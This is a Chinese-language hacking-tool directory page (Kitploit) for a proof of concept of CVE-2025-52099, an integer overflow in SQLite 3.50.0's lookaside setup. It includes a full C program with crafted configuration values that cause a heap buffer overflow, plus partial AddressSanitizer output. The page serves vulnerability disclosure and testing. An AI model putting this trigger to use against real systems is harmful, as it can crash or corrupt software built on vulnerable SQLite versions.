Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-52099 — CVE-2025-52099 的概念验证,即 SQLite 3.50.0 的 setupLookaside 函数中存在整数溢出,导致堆缓冲区溢出。 | Kitploit
工具/GitHubGitHub/screambby/cve-2025-52099
漏洞分析代码分析漏洞利用模糊测试二进制分析
GitHubscreambby/cve-2025-52099

CVE-2025-52099

CVE-2025-52099 的概念验证,即 SQLite 3.50.0 的 setupLookaside 函数中存在整数溢出,导致堆缓冲区溢出。

查看仓库
510个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-52099

SQLite 3.50.0 中的一个整数溢出 下面提供了一个概念验证(PoC),用于触发 SQLite 3.50.0 的 setupLookaside 函数中的整数溢出。该溢出是由于 sz * nBig 的乘法未经过检查而导致的,该乘法可能回绕为负值,并导致无效的内存写入。

测试环境:Ubuntu 22.04 x86_64,SQLite 3.50.0(自定义构建)

PoC 代码(C):

#include <stdio.h> #include <sqlite3.h>

int main() { sqlite3 *db;

root@kitploit:~
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
    fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
    return 1;
}

// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
    fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
    return 2;
} else {
    printf("[+] Lookaside configured\n");
}

// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);

for (int i = 0; i < 100000; i++) {
    char sql[64];
    snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
    sqlite3_exec(db, sql, NULL, NULL, NULL);
}

printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;

}

该 PoC 在使用 AddressSanitizer(-fsanitize=address)编译时,会因无效的 lookaside 槽配置而导致堆缓冲区溢出。

使用 ASAN 观察到的输出:

==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...

下载工具